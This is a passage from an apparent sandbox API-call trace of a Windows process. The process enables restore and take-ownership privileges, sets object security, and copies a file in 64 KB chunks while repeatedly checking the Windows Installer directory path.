DesiredAccess=0x28, TokenHandle=0x10ced70 | out: TokenHandle=0x10ced70*=0x1d4) returned 1 [0120.659] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeRestorePrivilege", lpLuid=0x10ced7c | out: lpLuid=0x10ced7c*(LowPart=0x12, HighPart=0)) returned 1 [0120.660] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeTakeOwnershipPrivilege", lpLuid=0x10ced88 | out: lpLuid=0x10ced88*(LowPart=0x9, HighPart=0)) returned 1 [0120.660] AdjustTokenPrivileges (in: TokenHandle=0x1d4, DisableAllPrivileges=0, NewState=0x10ced78*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x0))), BufferLength=0x30, PreviousState=0x7fef7b237fc, ReturnLength=0x7fef7b2382c | out: PreviousState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), ReturnLength=0x7fef7b2382c) returned 1 [0120.660] CloseHandle (hObject=0x1d4) returned 1 [0120.660] GetLastError () returned 0x0 [0120.660] GetSecurityDescriptorControl (in: pSecurityDescriptor=0x10cef70, pControl=0x10cee20, lpdwRevision=0x10cee28 | out: pControl=0x10cee20, lpdwRevision=0x10cee28) returned 1 [0120.660] GetSecurityDescriptorOwner (in: pSecurityDescriptor=0x10cef70, pOwner=0x10cedf0, lpbOwnerDefaulted=0x10cee30 | out: pOwner=0x10cedf0*=0x10cefcc*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), lpbOwnerDefaulted=0x10cee30) returned 1 [0120.660] GetSecurityDescriptorGroup (in: pSecurityDescriptor=0x10cef70, pGroup=0x10cee38, lpbGroupDefaulted=0x10cee30 | out: pGroup=0x10cee38*=0x0, lpbGroupDefaulted=0x10cee30) returned 1 [0120.661] SetUserObjectSecurity (hObj=0x1d8, pSIRequested=0x10ceec8, pSID=0x10cef70) returned 1 [0120.661] GetCurrentThread () returned 0xfffffffffffffffe [0120.661] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x10ced70 | out: TokenHandle=0x10ced70*=0x1d4) returned 0 [0120.661] GetLastError () returned 0x3f0 [0120.661] GetCurrentProcess () returned 0xffffffffffffffff [0120.661] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x10ced70 | out: TokenHandle=0x10ced70*=0x1d4) returned 1 [0120.661] AdjustTokenPrivileges (in: TokenHandle=0x1d4, DisableAllPrivileges=0, NewState=0x7fef7b237fc*(PrivilegesCount=0x2, Privileges=((Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x1c, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0120.661] CloseHandle (hObject=0x1d4) returned 1 [0120.661] GetLastError () returned 0x0 [0120.661] GetFileSize (in: hFile=0x1dc, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3e0000 [0120.661] SetFilePointer (in: hFile=0x1d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.661] SetFilePointer (in: hFile=0x1d8, lDistanceToMove=4063232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3e0000 [0120.661] SetEndOfFile (hFile=0x1d8) returned 1 [0120.662] SetFilePointer (in: hFile=0x1d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.662] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.664] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.666] GetTickCount () returned 0x1876f6c [0120.666] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.666] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.667] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.668] GetTickCount () returned 0x1876f6c [0120.668] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.668] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.669] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.670] GetTickCount () returned 0x1876f6c [0120.670] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.671] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.671] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.672] GetTickCount () returned 0x1876f6c [0120.672] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.673] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.674] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.676] GetTickCount () returned 0x1876f7c [0120.676] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.676] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.677] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.678] GetTickCount () returned 0x1876f7c [0120.678] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.678] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.679] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.680] GetTickCount () returned 0x1876f7c [0120.680] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.680] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.680] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.682] GetTickCount () returned 0x1876f7c [0120.682] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.682] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.683] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.685] GetTickCount () returned 0x1876f7c [0120.685] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.685] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.685] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.687] GetTickCount () returned 0x1876f7c [0120.687] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.687] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.687] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.689] GetTickCount () returned 0x1876f8c [0120.689] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.689] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.689] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.691] GetTickCount () returned 0x1876f8c [0120.691] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.691] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.692] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.694] GetTickCount () returned 0x1876f8c [0120.694] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.694] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.695] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.696] GetTickCount () returned 0x1876f8c [0120.696] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.696] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.697] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.698] GetTickCount () returned 0x1876f8c [0120.698] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.698] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.699] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.700] GetTickCount () returned 0x1876f8c [0120.700] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.700] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.720] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.725] GetTickCount () returned 0x1876fab [0120.725] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.726] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.726] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.728] GetTickCount () returned 0x1876fab [0120.728] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.728] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.729] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.730] GetTickCount () returned 0x1876fab [0120.730] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.730] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.731] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.733] GetTickCount () returned 0x1876fab [0120.733] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.733] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.735] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.737] GetTickCount () returned 0x1876fba [0120.737] GetCurrentThreadId () returned 0xf50 [0120.737] GetCurrentThreadId () returned 0xf50 [0120.737] SetEvent (hEvent=0x170) returned 1 [0120.737] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0120.750] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.750] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.751] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.752] GetTickCount () returned 0x1876fca [0120.753] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.753] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.753] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.755] GetTickCount () returned 0x1876fca [0120.755] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.755] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.755] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.757] GetTickCount () returned 0x1876fca [0120.757] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.757] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.758] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.760] GetTickCount () returned 0x1876fca [0120.760] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.760] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.761] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.762] GetTickCount () returned 0x1876fca [0120.762] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.763] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.763] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.764] GetTickCount () returned 0x1876fca [0120.764] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.764] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.765] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.766] GetTickCount () returned 0x1876fda [0120.772] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.772] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.773] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.775] GetTickCount () returned 0x1876fda [0120.775] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.775] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.776] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.777] GetTickCount () returned 0x1876fda [0120.777] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.778] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.778] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.780] GetTickCount () returned 0x1876fda [0120.780] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.780] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.780] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.782] GetTickCount () returned 0x1876fda [0120.782] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.782] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.792] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x10cf280, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesWritten=0x10cf280*=0x10000, lpOverlapped=0x0) returned 1 [0120.797] GetTickCount () returned 0x1876fe9 [0120.797] lstrcmpiW (lpString1="\\Windows\\Installer\\", lpString2="\\Windows\\Installer\\") returned 0 [0120.797] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a30010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x10cf210, lpOverlapped=0x0 | out: lpBuffer=0x3a30010*, lpNumberOfBytesRead=0x10cf210*=0x10000, lpOverlapped=0x0) returned 1 [0120.798] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a30010*, nNumberOfBytesToWrite=0x10000, 